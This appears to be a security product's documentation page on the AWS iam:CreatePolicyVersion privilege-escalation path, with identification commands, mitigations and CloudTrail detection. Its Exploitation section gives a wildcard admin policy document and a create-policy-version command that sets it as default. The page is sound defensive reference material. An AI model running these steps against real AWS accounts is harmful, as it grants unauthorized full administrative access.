> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_create_policy_version.md).

# AWS\_CREATE\_POLICY\_VERSION

## Summary

|                                |                                                                                                                            |
| ------------------------------ | -------------------------------------------------------------------------------------------------------------------------- |
| **Forestall ACL Alias**        | AWS\_CREATE\_POLICY\_VERSION                                                                                               |
| **Edge Type**                  | Attack Path                                                                                                                |
| **Affected Object Types**      | IAM Users, IAM Roles, Customer Managed Policies                                                                            |
| **Exploitation Certainty**     | Certain                                                                                                                    |
| **AWS IAM Action / Condition** | `iam:CreatePolicyVersion` on target customer-managed policy ARN; critical when attacker can set the new version as default |

## Description

`AWS_CREATE_POLICY_VERSION` is the ability to create a new version of an existing **customer-managed IAM policy**.

This is a high-impact escalation path. An attacker can add broad permissions (for example `Action: "*"`, `Resource: "*"`) to a new policy version, set it as default immediately or later through [`AWS_SET_DEFAULT_POLICY_VERSION`](https://docs.forestall.io/fsprotect/edges/aws/aws_set_default_policy_version), and inherit those permissions through every user, role, and group already attached to the policy.

The attachment graph usually exists before the attack starts. Swapping the policy content via a new version can produce instant, large-scale privilege expansion.

## Identification

### AWS CLI

Check whether a principal can create policy versions for a target policy:

```bash
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:user/AnalystUser \
  --action-names iam:CreatePolicyVersion \
  --resource-arns arn:aws:iam::123456789012:policy/TargetPolicy
```

Inspect target policy versions:

```bash
aws iam get-policy \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy

aws iam list-policy-versions \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy
```

### AWS Console

* Open **IAM** -> **Policies**.
* Select a customer-managed policy.
* Open **Policy versions**.
* Check who can edit IAM policies or create new policy versions through delegated permissions.

## Exploitation

Create a malicious policy document:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}
```

Create a new version and set it as default:

```bash
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
  --policy-document file://admin-policy.json \
  --set-as-default
```

If `--set-as-default` is blocked but version creation is not, attackers can chain with [`AWS_SET_DEFAULT_POLICY_VERSION`](https://docs.forestall.io/fsprotect/edges/aws/aws_set_default_policy_version).

## Mitigation

* Restrict `iam:CreatePolicyVersion` to tightly controlled automation identities.
* Scope the permission to explicit policy ARNs, not wildcards.
* Use permission boundaries and SCPs to block broad policy version manipulation.
* Remove unused customer-managed policies and stale delegations.
* Require an approval workflow for policy version changes.

## Detection

Monitor policy version creation in CloudTrail:

* **Event source**: `iam.amazonaws.com`
* **Event name**: `CreatePolicyVersion`
* High-signal indicator: `requestParameters.setAsDefault = true`

Example lookup:

```bash
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreatePolicyVersion
```

## References

* <https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreatePolicyVersion.html>
* <https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-versioning.html>
* <https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html>